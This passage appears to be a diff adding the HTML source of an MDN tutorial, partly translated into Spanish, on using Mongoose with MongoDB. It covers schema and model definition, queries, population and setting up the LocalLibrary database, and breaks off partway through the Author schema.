+<p><strong>Tip:</strong>  Using ODM/ORMs often results in lower costs for development and maintenance! Unless you're very familiar with the native query language or performance is paramount, you should strongly consider using an ODM.</p>
+</div>
+
+<h3 id="What_ORMODM_should_I_use">What ORM/ODM should I use?</h3>
+
+<p>There are many ODM/ORM solutions available on the NPM package manager site (check out the <a href="https://www.npmjs.com/browse/keyword/odm">odm</a> and <a href="https://www.npmjs.com/browse/keyword/orm">orm</a> tags for a subset!).</p>
+
+<p>A few solutions that were popular at the time of writing are:</p>
+
+<ul>
+ <li><a href="https://www.npmjs.com/package/mongoose">Mongoose</a>: Mongoose is a <a href="https://www.mongodb.org/">MongoDB</a> object modeling tool designed to work in an asynchronous environment.</li>
+ <li><a href="https://www.npmjs.com/package/waterline">Waterline</a>: An ORM extracted from the Express-based <a href="http://sailsjs.com/">Sails</a> web framework. It provides a uniform API for accessing numerous different databases, including Redis, MySQL, LDAP, MongoDB, and Postgres.</li>
+ <li><a href="https://www.npmjs.com/package/bookshelf">Bookshelf</a>: Features both promise-based and traditional callback interfaces, providing transaction support, eager/nested-eager relation loading, polymorphic associations, and support for one-to-one, one-to-many, and many-to-many relations. Works with PostgreSQL, MySQL, and SQLite3.</li>
+ <li><a href="https://www.npmjs.com/package/objection">Objection</a>: Makes it as easy as possible to use the full power of SQL and the underlying database engine (supports SQLite3, Postgres, and MySQL).</li>
+ <li>
+  <p><a href="https://www.npmjs.com/package/sequelize">Sequelize</a> is a promise-based ORM for Node.js and io.js. It supports the dialects PostgreSQL, MySQL, MariaDB, SQLite and MSSQL and features solid transaction support, relations, read replication and more.</p>
+ </li>
+</ul>
+
+<p>As a general rule you should consider both the features provided and the "community activity" (downloads, contributions, bug reports, quality of documentation, etc.) when selecting a solution. At time of writing Mongoose is by far the most popular ORM, and is a reasonable choice if you're using MongoDB for your database.</p>
+
+<h3 id="Using_Mongoose_and_MongoDb_for_the_LocalLibrary">Using Mongoose and MongoDb for the LocalLibrary</h3>
+
+<p>For the <em>Local Library</em> example (and the rest of this topic) we're going to use the <a href="https://www.npmjs.com/package/mongoose">Mongoose ODM</a> to access our library data. Mongoose acts as a front end to <a href="https://www.mongodb.com/what-is-mongodb">MongoDB</a>, an open source <a href="https://en.wikipedia.org/wiki/NoSQL">NoSQL</a> database that uses a document-oriented data model. A “collection” of “documents”, in a MongoDB database, <a href="https://docs.mongodb.com/manual/core/databases-and-collections/#collections">is analogous to</a> a “table” of “rows” in a relational database.</p>
+
+<p>This ODM and database combination is extremely popular in the Node community, partially because the document storage and query system looks very much like JSON, and is hence familiar to JavaScript developers.</p>
+
+<div class="note">
+<p><strong>Tip:</strong> You don't need to know MongoDB in order to use Mongoose, although parts of the <a href="http://mongoosejs.com/docs/guide.html">Mongoose documentation</a> <em>are</em> easier to use and understand if you are already familiar with MongoDB.</p>
+</div>
+
+<p>The rest of this tutorial shows how to define and access the Mongoose schema and models for the <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary website</a> example.</p>
+
+<h2 id="Designing_the_LocalLibrary_models">Designing the LocalLibrary models</h2>
+
+<p>Before you jump in and start coding the models, it's worth taking a few minutes to think about what data we need to store and the relationships between the different objects.</p>
+
+<p>We know that we need to store information about books (title, summary, author, genre, ISBN) and that we might have multiple copies available (with globally unique ids, availability statuses, etc.). We might need to store more information about the author than just their name, and there might be multiple authors with the same or similar names. We want to be able to sort information based on book title, author, genre, and category.</p>
+
+<p>When designing your models it makes sense to have separate models for every "object" (group of related information). In this case the obvious objects are books, book instances, and authors.</p>
+
+<p>You might also want to use models to represent selection-list options (e.g. like a drop down list of choices), rather than hard coding the choices into the website itself — this is recommended when all the options aren't known up front or may change. The obvious candidate for a model of this type is the book genre (e.g. Science Fiction, French Poetry, etc.)</p>
+
+<p>Once we've decided on our models and fields, we need to think about the relationships between them.</p>
+
+<p>With that in mind, the UML association diagram below shows the models we'll define in this case (as boxes). As discussed above, we've created models for book (the generic details of the book), book instance (status of specific physical copies of the book available in the system), and author. We have also decided to have a model for genre, so that values can be created dynamically. We've decided not to have a model for the <code>BookInstance:status</code> — we will hard code the acceptable values because we don't expect these to change. Within each of the boxes you can see the model name, the field names and types, and also the methods and their return types.</p>
+
+<p>The diagram also shows the relationships between the models, including their <em>multiplicities</em>. The multiplicities are the numbers on the diagram showing the numbers (maximum and minimum) of each model that may be present in the relationship. For example, the connecting line between the boxes shows that <code>Book</code> and a <code>Genre</code> are related. The numbers close to the <code>Book</code> model show that a Genre must have zero or more <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Book</span></font> (as many as you like), while the numbers on the other end of the line next to the <code>Genre</code> show that it can have zero or more associated genre.</p>
+
+<div class="note">
+<p><strong>Note</strong>: As discussed in our <a href="#related_documents">Mongoose primer</a> below it is often better to have the field that defines the relationship between the documents/models in just <em>one</em> model (you can still find the reverse relationship by searching for the associated <code>_id</code> in the other model). Below we have chosen to define the relationship between Book/Genre and Book/Author in the Book schema, and the relationship between the Book/BookInstance in the BookInstance Schema. This choice was somewhat arbitrary — we could equally well have had the field in the other schema.</p>
+</div>
+
+<p><img alt="Mongoose Library Model  with correct cardinality" src="https://mdn.mozillademos.org/files/15645/Library%20Website%20-%20Mongoose_Express.png" style="height: 620px; width: 737px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: The next section provides a basic primer explaining how models are defined and used. As you read it, consider how we will construct each of the models in the diagram above.</p>
+</div>
+
+<h2 id="Mongoose_primer">Mongoose primer</h2>
+
+<p>This section provides an overview of how to connect Mongoose to a MongoDB database, how to define a schema and a model, and how to make basic queries. </p>
+
+<div class="note">
+<p><strong>Note:</strong> This primer is "heavily influenced" by the <a href="https://www.npmjs.com/package/mongoose">Mongoose quick start</a> on <em>npm</em> and the <a href="http://mongoosejs.com/docs/guide.html">official documentation</a>.</p>
+</div>
+
+<h3 id="Installing_Mongoose_and_MongoDB">Installing Mongoose and MongoDB</h3>
+
+<p>Mongoose is installed in your project (<strong>package.json</strong>) like any other dependency — using NPM. To install it, use the following command inside your project folder:</p>
+
+<pre class="brush: bash"><code>npm install mongoose</code>
+</pre>
+
+<p>Installing <em>Mongoose</em> adds all its dependencies, including the MongoDB database driver, but it does not install MongoDB itself. If you want to install a MongoDB server then you can <a href="https://www.mongodb.com/download-center">download installers from here</a> for various operating systems and install it locally. You can also use cloud-based MongoDB instances.</p>
+
+<div class="note">
+<p><strong>Note:</strong> For this tutorial we'll be using the mLab cloud-based <em>database as a service</em> <a href="https://mlab.com/plans/pricing/">sandbox tier</a> to provide the database. This is suitable for development, and makes sense for the tutorial because it makes "installation" operating system independent (database-as-a-service is also one approach you might well use for your production database).</p>
+</div>
+
+<h3 id="Connecting_to_MongoDB">Connecting to MongoDB</h3>
+
+<p><em>Mongoose</em> requires a connection to a MongoDB database. You can <code>require()</code> and connect to a locally hosted database with <code>mongoose.connect()</code>, as shown below.</p>
+
+<pre class="brush: js">//Import the mongoose module
+var mongoose = require('mongoose');
+
+//Set up default mongoose connection
+var mongoDB = 'mongodb://127.0.0.1/my_database';
+mongoose.connect(mongoDB);
+// Get Mongoose to use the global promise library
+mongoose.Promise = global.Promise;
+//Get the default connection
+var db = mongoose.connection;
+
+//Bind connection to error event (to get notification of connection errors)
+db.on('error', console.error.bind(console, 'MongoDB connection error:'));</pre>
+
+<p>You can get the default <code>Connection</code> object with <code>mongoose.connection</code>. Once connected, the open event is fired on the <code>Connection</code> instance.</p>
+
+<div class="note">
+<p><strong>Tip:</strong> If you need to create additional connections you can use <code>mongoose.createConnection()</code>. This takes the same form of database URI (with host, database, port, options etc.) as <code>connect()</code> and returns a <code>Connection</code> object).</p>
+</div>
+
+<h3 id="Defining_and_creating_models">Defining and creating models</h3>
+
+<p>Models are <em>defined </em>using the <code>Schema</code> interface. The Schema allows you to define the fields stored in each document along with their validation requirements and default values. In addition, you can define static and instance helper methods to make it easier to work with your data types, and also virtual properties that you can use like any other field, but which aren't actually stored in the database (we'll discuss a bit further below).</p>
+
+<p>Schemas are then "compiled" into models using the <code>mongoose.model()</code> method. Once you have a model you can use it to find, create, update, and delete objects of the given type.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Each model maps to a <em>collection</em> of <em>documents</em> in the MongoDB database. The documents will contain the fields/schema types defined in the model <code>Schema</code>.</p>
+</div>
+
+<h4 id="Defining_schemas">Defining schemas</h4>
+
+<p>The code fragment below shows how you might define a simple schema. First you <code>require()</code> mongoose, then use the Schema constructor to create a new schema instance, defining the various fields inside it in the constructor's object parameter.</p>
+
+<pre class="brush: js">//Require Mongoose
+var mongoose = require('mongoose');
+
+//Define a schema
+var Schema = mongoose.Schema;
+
+var SomeModelSchema = new Schema({
+    a_string: String,
+    a_date: Date
+});
+</pre>
+
+<p>In the case above we just have two fields, a string and a date. In the next sections we will show some of the other field types, validation, and other methods.</p>
+
+<h4 id="Creating_a_model">Creating a model</h4>
+
+<p>Models are created from schemas using the <code>mongoose.model()</code> method:</p>
+
+<pre class="brush: js">// Define schema
+var Schema = mongoose.Schema;
+
+var SomeModelSchema = new Schema({
+    a_string: String,
+    a_date: Date
+});
+
+<strong>// Compile model from schema
+var SomeModel = mongoose.model('SomeModel', SomeModelSchema );</strong></pre>
+
+<p>The first argument is the singular name of the collection that will be created for your model (Mongoose will create the database collection for the above model <em>SomeModel</em> above), and the second argument is the schema you want to use in creating the model.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Once you've defined your model classes you can use them to create, update, or delete records, and to run queries to get all records or particular subsets of records. We'll show you how to do this in the <a href="#Using_models">Using models</a> section, and when we create our views.</p>
+</div>
+
+<h4 id="Tipos_de_esquema_(campos)">Tipos de esquema (campos)</h4>
+
+<p>Un esquema puede tener un número de campos arbitrario  — cada uno representa un campo en los documentos almacenados en <em>MongoDB</em>. A continuación se muestra un ejemplo de esquema con varios de los tipos de campos más comunes y cómo se declaran.</p>
+
+<pre class="brush: js">var schema = new Schema(
+{
+  name: <strong>String</strong>,
+  binary: <strong>Buffer</strong>,
+  living: <strong>Boolean</strong>,
+  updated: { type: <strong>Date</strong>, default: Date.now },
+  age: { type: <strong>Number</strong>, min: 18, max: 65, required: true },
+  mixed: <strong>Schema.Types.Mixed</strong>,
+  _someId: <strong>Schema.Types.ObjectId</strong>,
+  array: <strong>[]</strong>,
+  ofString: [<strong>String</strong>], // You can also have an array of each of the other types too.
+  nested: { stuff: { type: <strong>String</strong>, lowercase: true, trim: true } }
+})</pre>
+
+<p>Most of the <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> (the descriptors after “type:” or after field names) are self explanatory. The exceptions are:</p>
+
+<ul>
+ <li><code>ObjectId</code>: Represents specific instances of a model in the database. For example, a book might use this to represent its author object. This will actually contain the unique ID (<code>_id</code>) for the specified object. We can use the <code>populate()</code> method to pull in the associated information when needed.</li>
+ <li><a href="http://mongoosejs.com/docs/schematypes.html#mixed">Mixed</a>: An arbitrary schema type.</li>
+ <li><font face="Consolas, Liberation Mono, Courier, monospace">[]</font>: An array of items. You can perform JavaScript array operations on these models (push, pop, unshift, etc.). The examples above show an array of objects without a specified type and an array of <code>String</code> objects, but you can have an array of any type of object.</li>
+</ul>
+
+<p>The code also shows both ways of declaring a field:</p>
+
+<ul>
+ <li>Field <em>name</em> and <em>type</em> as a key-value pair (i.e. as done with fields <code>name</code>, <code>binary </code>and <code>living</code>).</li>
+ <li>Field <em>name</em> followed by an object defining the <code>type</code>, and any other <em>options</em> for the field. Options include things like:
+  <ul>
+   <li>default values.</li>
+   <li>built-in validators (e.g. max/min values) and custom validation functions.</li>
+   <li>Whether the field is required</li>
+   <li>Whether <code>String</code> fields should automatically be set to lowercase, uppercase, or trimmed (e.g. <code>{ type: <strong>String</strong>, lowercase: true, trim: true }</code>)</li>
+  </ul>
+ </li>
+</ul>
+
+<p>For more information about options see <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> (Mongoose docs).</p>
+
+<h4 id="Validation">Validation</h4>
+
+<p>Mongoose provides built-in and custom validators, and synchronous and asynchronous validators. It allows you to specify both the acceptable range or values and the error message for validation failure in all cases.</p>
+
+<p>The built-in validators include:</p>
+
+<ul>
+ <li>All <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> have the built-in <a href="http://mongoosejs.com/docs/api.html#schematype_SchemaType-required">required</a> validator. This is used to specify whether the field must be supplied in order to save a document.</li>
+ <li><a href="http://mongoosejs.com/docs/api.html#schema-number-js">Numbers</a> have <a href="http://mongoosejs.com/docs/api.html#schema_number_SchemaNumber-min">min</a> and <a href="http://mongoosejs.com/docs/api.html#schema_number_SchemaNumber-max">max</a> validators.</li>
+ <li><a href="http://mongoosejs.com/docs/api.html#schema-string-js">Strings</a> have:
+  <ul>
+   <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-enum">enum</a>: specifies the set of allowed values for the field.</li>
+   <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-match">match</a>: specifies a regular expression that the string must match.</li>
+   <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-maxlength">maxlength</a> and <a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-minlength">minlength</a> for the string.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>The example below (slightly modified from the Mongoose documents) shows how you can specify some of the validator types and error messages:</p>
+
+<pre class="brush: js"><code>
+    var breakfastSchema = new Schema({
+      eggs: {
+        type: Number,
+        min: [6, 'Too few eggs'],
+        max: 12,
+        required: [true, 'Why no eggs?']
+      },
+      drink: {
+        type: String,
+        enum: ['Coffee', 'Tea', 'Water',]
+      }
+    });
+</code></pre>
+
+<p>For complete information on field validation see <a href="http://mongoosejs.com/docs/validation.html">Validation</a> (Mongoose docs).</p>
+
+<h4 id="Virtual_properties">Virtual properties</h4>
+
+<p>Virtual properties are document properties that you can get and set but that do not get persisted to MongoDB. The getters are useful for formatting or combining fields, while setters are useful for de-composing a single value into multiple values for storage. The example in the documentation constructs (and deconstructs) a full name virtual property from a first and last name field, which is easier and cleaner than constructing a full name every time one is used in a template.</p>
+
+<div class="note">
+<p><strong>Note:</strong> We will use a virtual property in the library to define a unique URL for each model record using a path and the record's <code>_id</code> value.</p>
+</div>
+
+<p>For more information see <a href="http://mongoosejs.com/docs/guide.html#virtuals">Virtuals</a> (Mongoose documentation).</p>
+
+<h4 id="Methods_and_query_helpers">Methods and query helpers</h4>
+
+<p>A schema can also have <a href="http://mongoosejs.com/docs/guide.html#methods">instance methods</a>, <a href="http://mongoosejs.com/docs/guide.html#statics">static methods</a>, and <a href="http://mongoosejs.com/docs/guide.html#query-helpers">query helpers</a>. The instance and static methods are similar, but with the obvious difference that an instance method is associated with a particular record and has access to the current object. Query helpers allow you to extend mongoose's <a href="http://mongoosejs.com/docs/queries.html">chainable query builder API</a> (for example, allowing you to add a query "byName" in addition to the <code>find()</code>, <code>findOne()</code> and <code>findById()</code> methods).</p>
+
+<h3 id="Using_models">Using models</h3>
+
+<p>Once you've created a schema you can use it to create models. The model represents a collection of documents in the database that you can search, while the model's instances represent individual documents that you can save and retrieve.</p>
+
+<p>We provide a brief overview below. For more information see: <a href="http://mongoosejs.com/docs/models.html">Models</a> (Mongoose docs).</p>
+
+<h4 id="Creating_and_modifying_documents">Creating and modifying documents</h4>
+
+<p>To create a record you can define an instance of the model and then call <code>save()</code>. The examples below assume SomeModel is a model (with a single field "name") that we have created from our schema.</p>
+
+<pre class="brush: js"><code>// Create an instance of model SomeModel
+var awesome_instance = new </code>SomeModel<code>({ name: 'awesome' });
+
+// Save the new model instance, passing a callback
+awesome_instance.save(function (err) {
+  if (err) return handleError(err);
+  // saved!
+});
+</code></pre>
+
+<p>Creation of records (along with updates, deletes, and queries) are asynchronous operations — you supply a callback that is called when the operation completes. The API uses the error-first argument convention, so the first argument for the callback will always be an error value (or null). If the API returns some result, this will be provided as the second argument.</p>
+
+<p>You can also use <code>create()</code> to define the model instance at the same time as you save it. The callback will return an error for the first argument and the newly-created model instance for the second argument.</p>
+
+<pre class="brush: js">SomeModel<code>.create({ name: 'also_awesome' }, function (err, awesome_instance) {
+  if (err) return handleError(err);
+  // saved!
+});</code></pre>
+
+<p>Every model has an associated connection (this will be the default connection when you use <code>mongoose.model()</code>). You create a new connection and call <code>.model()</code> on it to create the documents on a different database.</p>
+
+<p>You can access the fields in this new record using the dot syntax, and change the values. You have to call <code>save()</code> or <code>update()</code> to store modified values back to the database.</p>
+
+<pre class="brush: js">// Access model field values using dot notation
+console.log(<code>awesome_instance.name</code>); //should log '<code>also_awesome</code>'
+
+// Change record by modifying the fields, then calling save().
+<code>awesome_instance</code>.name="New cool name";
+<code>awesome_instance.save(function (err) {
+   if (err) return handleError(err); // saved!
+   });</code>
+</pre>
+
+<h4 id="Searching_for_records">Searching for records</h4>
+
+<p>You can search for records using query methods, specifying the query conditions as a JSON document. The code fragment below shows how you might find all athletes in a database that play tennis, returning just the fields for athlete <em>name</em> and <em>age</em>. Here we just specify one matching field (sport) but you can add more criteria, specify regular expression criteria, or remove the conditions altogether to return all athletes.</p>
+
+<pre class="brush: js"><code>var Athlete = mongoose.model('Athlete', yourSchema);
+
+// find all athletes who play tennis, selecting the 'name' and 'age' fields
+Athlete.find({ 'sport': 'Tennis' }, 'name age', function (err, athletes) {
+  if (err) return handleError(err);
+  // 'athletes' contains the list of athletes that match the criteria.
+})</code></pre>
+
+<p>If you specify a callback, as shown above, the query will execute immediately. The callback will be invoked when the search completes.</p>
+
+<div class="note">
+<p><strong>Note:</strong> All callbacks in Mongoose use the pattern <code>callback(error, result)</code>. If an error occurs executing the query, the <code>error</code> parameter will contain an error document, and <code>result</code> will be null. If the query is successful, the <code>error</code> parameter will be null, and the <code>result</code> will be populated with the results of the query.</p>
+</div>
+
+<p>If you don't specify a callback then the API will return a variable of type <a href="http://mongoosejs.com/docs/api.html#query-js">Query</a>. You can use this query object to build up your query and then execute it (with a callback) later using the <code>exec()</code> method.</p>
+
+<pre class="brush: js"><code>// find all athletes that play tennis
+var query = Athlete.find({ 'sport': 'Tennis' });
+
+// selecting the 'name' and 'age' fields
+query.select('name age');
+
+// limit our results to 5 items
+query.limit(5);
+
+// sort by age
+query.sort({ age: -1 });
+
+// execute the query at a later time
+query.exec(function (err, athletes) {
+  if (err) return handleError(err);
+  // athletes contains an ordered list of 5 athletes who play Tennis
+})</code></pre>
+
+<p>Above we've defined the query conditions in the <code>find()</code> method. We can also do this using a <code>where()</code> function, and we can chain all the parts of our query together using the dot operator (.) rather than adding them separately. The code fragment below is the same as our query above, with an additional condition for the age.</p>
+
+<pre><code>Athlete.
+  find().
+  where('sport').equals('Tennis').
+  where('age').gt(17).lt(50).  //Additional where query
+  limit(5).
+  sort({ age: -1 }).
+  select('name age').
+  exec(callback); // where callback is the name of our callback function.</code></pre>
+
+<p>The <a href="http://mongoosejs.com/docs/api.html#query_Query-find">find()</a> method gets all matching records, but often you just want to get one match. The following methods query for a single record:</p>
+
+<ul>
+ <li><code><a href="http://mongoosejs.com/docs/api.html#model_Model.findById">findById()</a></code>: Finds the document with the specified <code>id</code> (every document has a unique <code>id</code>).</li>
+ <li><code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOne">findOne()</a></code>: Finds a single document that matches the specified criteria.</li>
+ <li><code><a href="http://mongoosejs.com/docs/api.html#model_Model.findByIdAndRemove">findByIdAndRemove()</a></code>, <code><a href="http://mongoosejs.com/docs/api.html#model_Model.findByIdAndUpdate">findByIdAndUpdate()</a></code>, <code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOneAndRemove">findOneAndRemove()</a></code>, <code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOneAndUpdate">findOneAndUpdate()</a></code>: Finds a single document by <code>id</code> or criteria and either update or remove it. These are useful convenience functions for updating and removing records.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong> There is also a <code><a href="http://mongoosejs.com/docs/api.html#model_Model.count">count()</a></code> method that you can use to get the number of items that match conditions. This is useful if you want to perform a count without actually fetching the records.</p>
+</div>
+
+<p>There is a lot more you can do with queries. For more information see: <a href="http://mongoosejs.com/docs/queries.html">Queries</a> (Mongoose docs).</p>
+
+<h4 id="Working_with_related_documents_—_population">Working with related documents — population</h4>
+
+<p>You can create references from one document/model instance to another using the <code>ObjectId</code> schema field, or from one document to many using an array of <code>ObjectIds</code>. The field stores the id of the related model. If you need the actual content of the associated document, you can use the <code><a href="http://mongoosejs.com/docs/api.html#query_Query-populate">populate()</a></code> method in a query to replace the id with the actual data.</p>
+
+<p>For example, the following schema defines authors and stories. Each author can have multiple stories, which we represent as an array of <code>ObjectId</code>. Each story can have a single author. The "ref" (highlighted in bold below) tells the schema which model can be assigned to this field.</p>
+
+<pre class="brush: js"><code>var mongoose = require('mongoose')
+  , Schema = mongoose.Schema
+
+var authorSchema = Schema({
+  name    : String,
+  stories : [{ type: Schema.Types.ObjectId, <strong>ref</strong>: 'Story' }]
+});
+
+var storySchema = Schema({
+  author : { type: Schema.Types.ObjectId, <strong>ref</strong>: 'Author' },
+  title    : String
+});
+
+var Story  = mongoose.model('Story', storySchema);
+var Author = mongoose.model('Author', authorSchema);</code></pre>
+
+<p>We can save our references to the related document by assigning the <code>_id</code> value. Below we create an author, then a story, and assign the author id to our stories author field.</p>
+
+<pre class="brush: js"><code>var bob = new Author({ name: 'Bob Smith' });
+
+bob.save(function (err) {
+  if (err) return handleError(err);
+
+  //Bob now exists, so lets create a story
+  var story = new Story({
+    title: "Bob goes sledding",
+    author: bob._id    // assign the _id from the our author Bob. This ID is created by default!
+  });
+
+  story.save(function (err) {
+    if (err) return handleError(err);
+    // Bob now has his story
+  });
+});</code></pre>
+
+<p>Our story document now has an author referenced by the author document's ID. In order to get the author information in our story results we use <code>populate()</code>, as shown below.</p>
+
+<pre class="brush: js"><code>Story
+.findOne({ title: 'Bob goes sledding' })
+.populate('author') //This populates the author id with actual author information!
+.exec(function (err, story) {
+  if (err) return handleError(err);
+  console.log('The author is %s', story.author.name);
+  // prints "The author is Bob Smith"
+});</code></pre>
+
+<div class="note">
+<p><strong>Note:</strong> Astute readers will have noted that we added an author to our story, but we didn't do anything to add our story to our author's <code>stories</code> array. How then can we get all stories by a particular author? One way would be to add our author to the stories array, but this would result in us having two places where the information relating authors and stories needs to be maintained.</p>
+
+<p>A better way is to get the <code>_id</code> of our <em>author</em>, then use <code>find()</code> to search for this in the author field across all stories.</p>
+
+<pre class="brush: js"><code>Story
+.find({ author : bob._id })
+.exec(function (err, stories) {
+  if (err) return handleError(err);
+  // returns all stories that have Bob's id as their author.
+});</code>
+</pre>
+</div>
+
+<p>This is almost everything you need to know about working with related items<em> for this tutorial</em>. For more detailed information see <a href="http://mongoosejs.com/docs/populate.html">Population</a> (Mongoose docs).</p>
+
+<h3 id="One_schemamodel_per_file">One schema/model per file</h3>
+
+<p>While you can create schemas and models using any file structure you like, we highly recommend defining each model schema in its own module (file), exporting the method to create the model. This is shown below:</p>
+
+<pre class="brush: js"><code>// File: ./models/somemodel.js
+
+//Require Mongoose
+var mongoose = require('mongoose');
+
+//Define a schema
+var Schema = mongoose.Schema;
+
+var SomeModelSchema = new Schema({
+    a_string          : String,
+    a_date            : Date,
+});
+
+<strong>//Export function to create "SomeModel" model class
+module.exports = mongoose.model('SomeModel', SomeModelSchema );</strong></code></pre>
+
+<p>You can then require and use the model immediately in other files. Below we show how you might use it to get all instances of the model.</p>
+
+<pre class="brush: js"><code>//Create a SomeModel model just by requiring the module
+var SomeModel = require('../models/somemodel')
+
+// Use the SomeModel object (model) to find all SomeModel records
+SomeModel.find(callback_function);</code></pre>
+
+<h2 id="Setting_up_the_MongoDB_database">Setting up the MongoDB database</h2>
+
+<p>Now that we understand something of what Mongoose can do and how we want to design our models, it's time to start work on the <em>LocalLibrary</em> website. The very first thing we want to do is set up a MongoDb database that we can use to store our library data.</p>
+
+<p>For this tutorial we're going to use <a href="https://mlab.com/welcome/">mLab</a>'s free cloud-hosted "<a href="https://mlab.com/plans/pricing/">sandbox</a>" database. This database tier is not considered suitable for production websites because it has no redundancy, but it is great for development and prototyping. We're using it here because it is free and easy to set up, and because mLab is a popular <em>database as a service</em> vendor that you might reasonably choose for your production database (other popular choices at the time of writing include <a href="https://www.compose.com/">Compose</a>, <a href="https://scalegrid.io/pricing.html">ScaleGrid</a> and <a href="https://www.mongodb.com/cloud/atlas">MongoDB Atlas</a>).</p>
+
+<div class="note">
+<p><strong>Note:</strong> If you prefer you can set up a MongoDb database locally by downloading and installing the <a href="https://www.mongodb.com/download-center">appropriate binaries for your system</a>. The rest of the instructions in this article would be similar, except for the database URL you would specify when connecting.</p>
+</div>
+
+<p>You will first need to <a href="https://mlab.com/signup/">create an account</a> with mLab (this is free, and just requires that you enter basic contact details and acknowledge their terms of service). </p>
+
+<p>After logging in, you'll be taken to the <a href="https://mlab.com/home">home</a> screen:</p>
+
+<ol>
+ <li>Click <strong>Create New</strong> in the <em>MongoDB Deployments</em> section.<img alt="" src="https://mdn.mozillademos.org/files/14446/mLabCreateNewDeployment.png" style="height: 415px; width: 1000px;"></li>
+ <li>This will open the <em>Cloud Provider Selection </em>screen.<br>
+  <img alt="MLab - screen for new deployment" src="https://mdn.mozillademos.org/files/15661/mLab_new_deployment_form_v2.png" style="height: 931px; width: 1297px;"><br>
+
+  <ul>
+   <li>Select the SANDBOX (Free) plan from the Plan Type section. </li>
+   <li>Select any provider from the <em>Cloud Provider </em>section. Different providers offer different regions (displayed below the selected plan type).</li>
+   <li>Click the <strong>Continue</strong> button.</li>
+  </ul>
+ </li>
+ <li>This will open the <em>Select Region</em> screen.
+  <p><img alt="Select new region screen" src="https://mdn.mozillademos.org/files/15662/mLab_new_deployment_select_region_v2.png" style="height: 570px; width: 1293px;"></p>
+
+  <ul>
+   <li>
+    <p>Select the region closest to you and then <strong>Continue</strong>.</p>
+   </li>
+  </ul>
+ </li>
+ <li>
+  <p>This will open the <em>Final Details</em> screen.<br>
+   <img alt="New deployment database name" src="https://mdn.mozillademos.org/files/15663/mLab_new_deployment_final_details.png" style="height: 569px; width: 1293px;"></p>
+
+  <ul>
+   <li>
+    <p>Enter the name for the new database as <code>local_library</code> and then select <strong>Continue</strong>.</p>
+   </li>
+  </ul>
+ </li>
+ <li>
+  <p>This will open the <em>Order Confirmation</em> screen.<br>
+   <img alt="Order confirmation screen" src="https://mdn.mozillademos.org/files/15664/mLab_new_deployment_order_confirmation.png" style="height: 687px; width: 1290px;"></p>
+
+  <ul>
+   <li>
+    <p>Click <strong>Submit Order</strong> to create the database.</p>
+   </li>
+  </ul>
+ </li>
+ <li>
+  <p>You will be returned to the home screen. Click on the new database you just created to open its details screen. As you can see the database has no collections (data).<br>
+   <img alt="mLab - Database details screen" src="https://mdn.mozillademos.org/files/15665/mLab_new_deployment_database_details.png" style="height: 700px; width: 1398px;"><br>
+    <br>
+   The URL that you need to use to access your database is displayed on the form above (shown for this database circled above). In order to use this you need to create a database user that you can specify in the URL.</p>
+ </li>
+ <li>Click the <strong>Users</strong> tab and select the <strong>Add database user</strong> button.</li>
+ <li>Enter a username and password (twice), and then press <strong>Create</strong>. Do not select <em>Make read only</em>.<br>
+  <img alt="" src="https://mdn.mozillademos.org/files/14454/mLab_database_users.png" style="height: 204px; width: 600px;"></li>
+</ol>
+
+<p>You have now created the database, and have an URL (with username and password) that can be used to access it. This will look something like: <code>mongodb://your_user_namer:your_password@ds119748.mlab.com:19748/local_library</code>.</p>
+
+<h2 id="Install_Mongoose">Install Mongoose</h2>
+
+<p>Open a command prompt and navigate to the directory where you created your <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">skeleton Local Library website</a>. Enter the following command to install Mongoose (and its dependencies) and add it to your <strong>package.json</strong> file, unless you have already done so when reading the <a href="#Installing_Mongoose_and_MongoDB">Mongoose Primer</a> above.</p>
+
+<pre class="brush: bash">npm install mongoose
+</pre>
+
+<h2 id="Connect_to_MongoDB">Connect to MongoDB</h2>
+
+<p>Open <strong>/app.js</strong> (in the root of your project) and copy the following text below where you declare the <em>Express application object</em> (after the line <code>var app = express();</code>). Replace the database url string ('<em>insert_your_database_url_here</em>') with the location URL representing your own database (i.e. using the information <a href="#Setting_up_the_MongoDB_database">from mLab</a>).</p>
+
+<pre class="brush: js">//Set up mongoose connection
+var mongoose = require('mongoose');
+var mongoDB = '<em>insert_your_database_url_here</em>';
+mongoose.connect(mongoDB);
+mongoose.Promise = global.Promise;
+var db = mongoose.connection;
+db.on('error', console.error.bind(console, 'MongoDB connection error:'));</pre>
+
+<p>As discussed <a href="#Connecting_to_MongoDB">in the Mongoose primer above</a>, this code creates the default connection to the database and binds to the error event (so that errors will be printed to the console). </p>
+
+<h2 id="Defining_the_LocalLibrary_Schema">Defining the LocalLibrary Schema</h2>
+
+<p>We will define a separate module for each model, as <a href="#One_schemamodel_per_file">discussed above</a>. Start by creating a folder for our models in the project root (<strong>/models</strong>) and then create separate files for each of the models:</p>
+
+<pre>/express-locallibrary-tutorial  //the project root
+  <strong>/models</strong>
+    <strong>author.js</strong>
+    <strong>book.js</strong>
+    <strong>bookinstance.js</strong>
+    <strong>genre.js</strong>
+</pre>
+
+<h3 id="Author_model">Author model</h3>
+
+<p>Copy the <code>Author</code> schema code shown below and paste it into your <strong>./models/author.js</strong> file. The scheme defines an author has having <code>String</code> SchemaTypes for the first and family names, that are required and have a maximum of 100 characters, and <code>Date</code> fields for the date of birth and death.</p>
+
+<pre class="brush: js">var mongoose = require('mongoose');
+
+var Schema = mongoose.Schema;
+
+var AuthorSchema = new Schema(
+  {
+    first_name: {type: String, required: true, max: 100},
+    family_name: {type: String, required: true, max: 100},
+    date_of_birth: {type: Date},
